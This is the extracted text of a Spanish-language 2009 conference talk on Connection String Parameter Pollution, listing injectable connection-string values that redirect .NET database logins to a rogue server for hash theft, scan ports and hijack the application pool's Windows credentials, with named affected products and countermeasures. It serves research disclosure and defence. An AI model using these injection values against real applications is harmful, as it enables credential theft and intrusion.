Connection String Parameter Pollution

  • View
    5.947

  • Download
    1

Embed Size (px)

DESCRIPTION

Charla impartida por Chema Alonso en la Ekoparty 2009 sobre Connection String Parameter Pollution.

Text of Connection String Parameter Pollution

  • 1. Chema Alonso Informtica 64 Chema Alonso Informtica 64

2. Cadenas de Conexin

  • Definen la manera en que una aplicacin web se conecta a un repositorio de datos
  • Hay cadenas de conexin para:
    • Bases de datos
    • Archivos en sistemas de ficheros
    • Servidores LDAP en procesos de Binding

3. Cadenas de conexin a BBDD

  • Data Source = myServerAddress;
  • Initial Catalog = myDataBase;
  • User Id = myUsername;
  • Password = myPassword;

4. Se pueden encontrar en Google 5. Se pueden encontrar en Google 6. Ficheros UDL 7. Credenciales

  • Cuentas de Sistema Operativo
  • Data Source = myServerAddress;
  • Initial Catalog = myDataBase;
  • User Id = myUsername;
  • Password = myPassword;
  • Integrated Security = SSPI/True/Yes;
  • Cuentas de la Base de datos
  • Data Source = myServerAddress;
  • Initial Catalog = myDataBase;
  • User Id = myUsername;
  • Password = myPassword;
  • Integrated Security = No;

8. Syslogins Tabla usuarios Cadena de conexin 1.- La aplicacin web se conecta con credenciales de la BD. 2.- Se piden credenciales al usuario. 3.- La aplicacin web comprueba las credenciales en una tabla de usuarios. Select from tabla La aplicacin Web controla la autenticacin Motor de Base de datos App en Servidor Web Validacin usuarios en aplicacin web 9. Syslogins Cadena de conexin 1.- Se piden credenciales al usuario. 2.- La aplicacin web construye la cadena de conexin con las credenciales del usuario. El motor de BBDD controla la autenticacin Validacin usuarios en motor de BBDD Motor de Base de datos App en Servidor Web 10. Connection String Attacks

  • Es posible inyectar parmetros en las cadenas de conexin separndolos por punto y coma.
  • Data Source = myServerAddress;
  • Initial Catalog = myDataBase;
  • Integrated Security = NO;
  • User Id =myUsername ;
  • Password =myPassword; Encryption = Off;

11. ConnectionStringBuiler

  • Incluido en el .NET Framework 2.0
  • Crea cadenas de conexin mediante parmetros
  • Impide la inyeccin de cdigo

12. La realidad 13. Connection String Parameter Pollution

  • La idea es inyectar un parmetro que ya existe
  • Duplicando el valor del parmetro, el ltimo prevalece en los entornos .NET.
  • Esto permite a un atacante cambiar completamente el funcionamiento de la cadena de conexin y de la aplicacin.

14. CSPP Attack 1: Robo de Hash

  • 1.- Se monta un servidor controlado:
  • Rogue_Server
  • 2.- Se activa un sniffer de credenciales
  • Cain/Wireshark
  • 3.- Se hace una polucin del parmetro
  • Data_Source=Rogue_Server
  • 4.- Se fuerza el uso de autenticacin Windows
  • Integrated Security=true

15. CSPP Attack 1: Robo de Hash

  • Data source = SQL2005; initial catalog = db1;
  • Integrated Security=no; user id=+ User_Value +;
  • Password=+ Password_Value +;
  • Data source = SQL2005; initial catalog = db1;
  • Integrated Security=no; user id=;Data Source=Rogue_Server ;
  • Password= ;Integrated Security=True ;

16. CSSP 1:ASP.NET Enterprise Manager 17. CSPP Attack 2: Port Scanning

  • 1.- Se hace una polucin del parmetro con el servidor a escanear y el puerto
  • Data_Source=Target_Server,target_Port
  • 2.- Se evalan los mensajes de error de la aplicacin

18. CSPP Attack 2: Port Scanning

  • Data source = SQL2005; initial catalog = db1;
  • Integrated Security=no; user id=+ User_Value +;
  • Password=+ Password_Value +;
  • Data source = SQL2005; initial catalog = db1;
  • Integrated Security=no; user id=;Data Source=Target_Server, Target_Port ;
  • Password= Void ;

19. CSPP 2: myLittleAdmin Puerto Abierto 20. CSPP 2: myLittleAdmin Puerto Cerrado 21. CSPP Attack 3: Hijacking Web Credentials

  • 1.- Se hace una polucin del parmetro
  • Data_Source=Target_Server
  • 2.- Se fuerza el uso de autenticacin Windows
  • Integrated Security=true
  • 3.- El pool de aplicaciones enva la cuenta de Windows con que est corriendo para autenticarse en el motor de bases de datos

22. CSPP Attack 3: Hijacking Web Credentials

  • Data source = SQL2005; initial catalog = db1;
  • Integrated Security=no; user id=+ User_Value +;
  • Password=+ Password_Value +;
  • Data source = SQL2005; initial catalog = db1;
  • Integrated Security=no; user id=;Data Source=Target_Server ;
  • Password= ;Integrated Security=true ;

23. CSPP Attack 3: Web Data Administrator 24. CSPP Attack 3: myLittleAdmin/myLittleBackup 25. CSPP Attack 3: ASP.NET Enterprise Manager 26. Otras bases de datos

  • MySQL no soporta autenticacin integrada
  • Oracle S soporta autenticacin integrada en Windows y es posible realizar estos ataques
    • Adems es posible cambiar la conexin de nivel para pasarla a conexin comosysdba

27. Demo Demo 28. myLittleAdmin/myLittleBackup myLittleTools ha sacado un advisory de seguridad y un parche 29. ASP.NET Enterprise Manager

  • ASP.NET Enterprise Manager est abandonada, pero se dispone del cdigo fuente

30. ASP.NET Enterprise Manager

  • ASP.NET Enterprise Manager est abandonada, pero se dispone del cdigo fuente

31. ASP.NET Web Data Admistrator ASP Web Data Administrator es segura en su versin liberada en CodePlex 32. Contramedidas

  • Fortificacin de Firewall
  • Fortificacin de cuentas utilizadas en pool de aplicaciones y bases de datos.
  • UsarConnectionStringBuilder
  • Filtrar el; )

33. Preguntas?

  • Contacto
  • Chema Alonso
  • [email_address]
  • http://www.informatica64.com
  • http://elladodelmal.blogspot.com
  • Autores
  • Chema Alonso
  • Manuel Fernndez
  • Alejandro Martn Bailn
  • Antonio Guzmn